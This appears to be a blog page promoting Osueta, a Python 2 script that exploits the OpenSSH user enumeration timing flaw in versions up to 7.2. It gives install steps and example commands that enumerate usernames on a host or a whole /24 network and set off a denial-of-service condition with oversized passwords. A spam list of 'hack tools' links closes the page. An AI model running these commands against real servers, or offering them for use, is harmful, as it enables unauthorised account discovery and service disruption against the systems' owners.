Osueta: A Simple Python Script To Exploit The OpenSSH User Enumeration Timing Attack

About Osueta?
   Osueta it's a simple Python 2 script to exploit the OpenSSH User Enumeration Timing Attack, present in OpenSSH versions <= 7.2 and >= 5.*. The script has the ability to make variations of the username employed in the bruteforce attack, and the possibility to establish a DoS condition in the OpenSSH server.

    Read more: OpenSSH User Enumeration Time-Based Attack

   The bug was corrected in OpenSSH version 7.3.

   Authors of Osueta:

• c0r3dump3d: coredump@autistici.org
• rofen: rofen@gmx.de

Osueta's Installation
   For Linux users, open your Terminal and enter these commands:
   If you're Windows users, follow these steps:

• Install Python 2.7.x from Python.org first. On Install Python 2.7.x Setup, choose Add python.exe to Path.
• Download Osueta-master zip file.
• Then unzip it.
• Open CMD or PowerShell window at the Osueta folder you have just unzipped and enter these commands:
  pip install python-nmap paramiko IPy
python osueta.py -h

Advice: Like others offensive tools, the authors disclaims all responsibility in the use of this script.

Osueta help menu:

Osueta's examples:
   A single user enumeration attempt with username variations:
python2 osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes

   A single user enumeration attempt with no user variations a DoS attack:
python2 osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v no --dos yes

   Scanning a C class network with only one user:
python2 osueta.py -H 192.168.1.0/24 -p 22 -U root -v no 

   Scanning a C class network with usernames from a file, delay time 15 seconds and a password of 50000 characters:
python2 osueta.py -H 192.168.1.0/24 -p 22 -L usernames.txt -v yes -d 15 -l 50

Download Osueta

More articles

1. Pentest Tools Linux
2. Hacking Tools Mac
3. Hacking Apps
4. Easy Hack Tools
5. Pentest Tools Download
6. Blackhat Hacker Tools
7. Hack Tools Online
8. New Hack Tools
9. How To Install Pentest Tools In Ubuntu
10. Pentest Tools Open Source
11. Pentest Tools Review
12. Hacking Tools Pc
13. Game Hacking
14. Pentest Tools Github
15. Pentest Tools For Windows
16. Easy Hack Tools
17. Hacks And Tools
18. Hacking Tools Download
19. Hack Tool Apk No Root
20. Pentest Tools Website
21. Best Hacking Tools 2020
22. Pentest Tools Online
23. Hack Tools For Windows
24. Hack And Tools
25. Hack Tool Apk
26. Pentest Tools Kali Linux